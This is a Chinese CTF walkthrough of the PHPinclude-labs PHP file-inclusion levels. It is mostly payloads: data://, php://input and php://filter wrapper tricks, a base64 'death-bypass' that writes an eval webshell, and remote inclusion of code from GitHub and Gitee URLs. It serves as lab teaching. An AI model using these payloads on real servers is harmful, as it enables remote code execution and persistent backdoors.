phpinclude-labs做题记录

news/2024/9/22 7:22:46/文章来源:https://www.cnblogs.com/fupo1/p/18384383

Level 1 file协议



payload:?wrappers=/flag

Level 2 data协议

去包含data协议中的内容其实相当于进行了一次远程包含,所以data协议的利用条件需要 php.ini 中开启 allow_url_fopen 和 allow_url_include
GET: ?wrappers=, 然后 POST:helloctf=system('cat /flag');

Level 3 data协议_2

用base64编码进行绕过
根据base64解码规则和php中base64解码宽松性,= 在解码过程开始前会被移除,所以不会影响解码结果,但是+号作为码表的一部分移除会导致解码不正确,注意分别。
Payload:
GET: ?wrappers=;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2hlbGwnXSk7Pz4, POST:hell=system('cat /flag');

Level 4 http:// & https:// 协议

GET:?wrappers=127.0.0.1/backdoor.txt POST:ctf=system('cat /flag');

Level 5 http:// & https:// 协议_2

本题使用远端包含:

GET:?wrappers=raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI POST:a=system('cat /flag');

Level 6 php:// 协议

php://input + [<?= system('tac flag.???');?>]
php://input + [<?php fputs(fopen('backdoor.php','w'),'<?php @eval($_GET[ctf]); ?>'); ?>]php://filter//resource=/flag
php://filter/read=convert.base64-encode/resource=flag.php
php://filter/convert.base64-encode/resource=flag.php

Level 7 php://input 协议

<?php eval($_GET['ctf']); ?> /* 间接代码执行 */ <?php fputs(fopen('backdoor.php','w'),'<?php eval($_POST["ctf"]); ?>'); ?> /* 生成后门木马 */ <?= system('tac flag.???');?> /* 直接命令执行 */  

Level 8 php://filter_过滤器&字符串过滤器

?wrappers=filter/string.rot13/resource=/flag

Level 9 php://filter_转换过滤器

?wrappers=filter/convert.base64-encode/resource=flag.php

Level 10 文件系统函数_file_get_contents()

php://filter/string.toupper/resource=/flag (正则并没有匹配大小写)
php://filter/string.rot13/resource=/flag
php://filter/read=convert.base64-encode/resource=/flag

Level 11 文件系统函数_file_put_contents()

Payload:
GET:?filename=php://filter/write=convert.base64-decode/resource=backdoor.php
POST:data=PD9waHAgZXZhbCgkX1BPU1RbJ2hlbGwnXSk7Pz4

backdoor.php :

Level 11- 封装协议解析

string.rot13

string.strip_tags 去除html、PHP语言标签 (本特性已自 PHP 7.3.0 起废弃)

convert.base64-encode 和 convert.base64-decode

convert.iconv.. 或 convert.iconv./

Level 11+ 死亡绕过


对内容填充两个字符后可以使前方无效后方正常解析。

GET:?filename=php://filter/write=convert.base64-decode/resource=shell.php
POST:data=aaPD9waHAgQGV2YWwoJF9QT1NUWydhdyddKTsgPz4

Level 12 LFI&&RFI

LFI - Local File Inclusion, 本地文件包含: 打开并包含本地文件的行为,比如我们后面会接触的日志文件包含,session文件包含,FilterChain等等。
本地文件包含是最常见的文件包含漏洞,在前面关卡中几乎所有的演示都是LFI(比如包含phpinfo.txt,backdoor.txt这样的行为)。

?wrappers=https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI

RFI- Remote File Inclusion,远程文件包含: 读取并执行远程服务器上文件的行为,相比于LFI,远程服务器上文件的可控性更高,因此危害更高,但代价就是条件苛刻,十分依赖 allow_url_include 参数。 HTTP/HTTPS 协议是最直观的远程文件包含形式,当然一定意义上,使用data协议去生成字符串然后包含也是一种远程文件包含。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/788460.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据结构学习第一周

本文需要掌握的知识 1.认识数据结构 2.了解数据结构(逻辑结构)的分类 3.内存储器模型以及分配方式(物理结构) 4.认识Node类 5.简单了解泛型1 .数据结构(D-S/Data Structure) 1.1简介 1.1.1数据 分为原子数据和复合数据 1.1.2结构 分为逻辑结构和物理结构数据结构是由数据和数…

用 Higress AI 网关降低 AI 调用成本 - 阿里云天池云原生编程挑战赛参赛攻略

我们要在 Higress 网关中编写 WebAssembly(wasm)插件,使得在 http 请求的各个阶段(requestHeader,requestBody,responseHeader,responseBody)能够将相应的请求或返回捕获进行业务逻辑的处理。具体到本比赛,主要需要实现的是缓存对大模型的请求(openai 接口的形式)在…

科研项目管理工具选型全攻略

国内外主流的 10 款科研院所项目管理系统对比:PingCode、Worktile、云效、Tower 、Zoho Projects、Notion、Wrike、ClickUp、Asana、Teambition。在科研院所的日常运营中,项目管理系统的选择显得尤为重要。选择不当可能导致资源浪费、进度延误甚至项目失败,这是每个科研团队…

ensp使用交换机配置svi连通网段

ensp使用交换机配置svi连通网段 实验目的 如下图所示,PC1、PC2、PC3分别位于不同网段,使用S5700型号交换机连接,目前需要配置交换机和主机,主机能够互相连通。常用命令un in en:关闭信息通知 dis ip int b:显示端口ip配置情况(brief模式) dis ip routing-table:显示路…

B 端产品未来几年的发展趋势

未来几年,B 端产品领域将面临着诸多挑战和机遇。人工智能与机器学习的深度融合、云计算与容器化技术的持续发展、用户体验与设计的重要性日益凸显、数据安全与隐私保护的挑战与机遇、行业垂直化与专业化发展以及敏捷开发与持续交付的普及等趋势,将对 B 端产品经理提出更高的要…

postgresql下Schema和DataBase

database —> schema —> table 1.同一个实例下,不同database是不能相互访问的,即独立的。 2.同一个数据库,不同模式下的表是可以相互访问,即可共享的 3.不同模式下,表名可以是一样。也就是表在模式下是独立。 ##授权某个库下的某个模式下有创建表的权限grant creat…

使用 nuxi add 快速创建 Nuxt 应用组件

title: 使用 nuxi add 快速创建 Nuxt 应用组件 date: 2024/8/28 updated: 2024/8/28 author: cmdragon excerpt: 通过使用 nuxi add 命令,你可以快速创建 Nuxt 应用中的各种实体,如组件、页面、布局等。这可以极大地提高开发效率,减少手动创建文件的工作量。希望本文的示例…

Apache RocketMQ 批处理模型演进之路

RocketMQ 的目标,是致力于打造一个消息、事件、流一体的超融合处理平台。这意味着它需要满足各个场景下各式各样的要求,而批量处理则是流计算领域对于极致吞吐量要求的经典解法,这当然也意味着 RocketMQ 也有一套属于自己风格的批处理模型。作者:谷乂 RocketMQ 的目标,是致…

nginx: 两个解析日志的脚本

一,解析日志得到访问量最高的100个ip地址:awk {print $1} www.access_log | sort | uniq -c | sort -n -k 1 -r | head -n 100 效果如图:二,解析日志得到访问量最高的10个url 命令 [root@blog 27]# awk {print $7} 20240827_access.log|sort|uniq -c|sort -rn|head -10 返回例…

安全:关闭nginx/php的对外版本显示

一,关闭nginx的版本显示: 1,关闭前2,关闭nginx版本显示: 编辑nginx.conf [root@blog conf]# vi nginx.conf 增加一行: server_tokens off; 重新服务: [root@blog conf]# systemctl reload nginx.service 3,再次查看:二,关闭php的版本显示 1,关闭前2,关闭 编辑php.ini [roo…

gstreamer教程(5)——构建应用之element的使用

Element 元素:对于应用程序程序员来说, GstElement 对象是GStreamer 中最重要的对象。element (元素)是媒体Pipeline的基本构建块。您使用的所有不同的高级组件都派生自 GstElement。每个解码器、编码器、解复用器、视频或音频输出事实上都是一个 GstElement。 什么是元素:…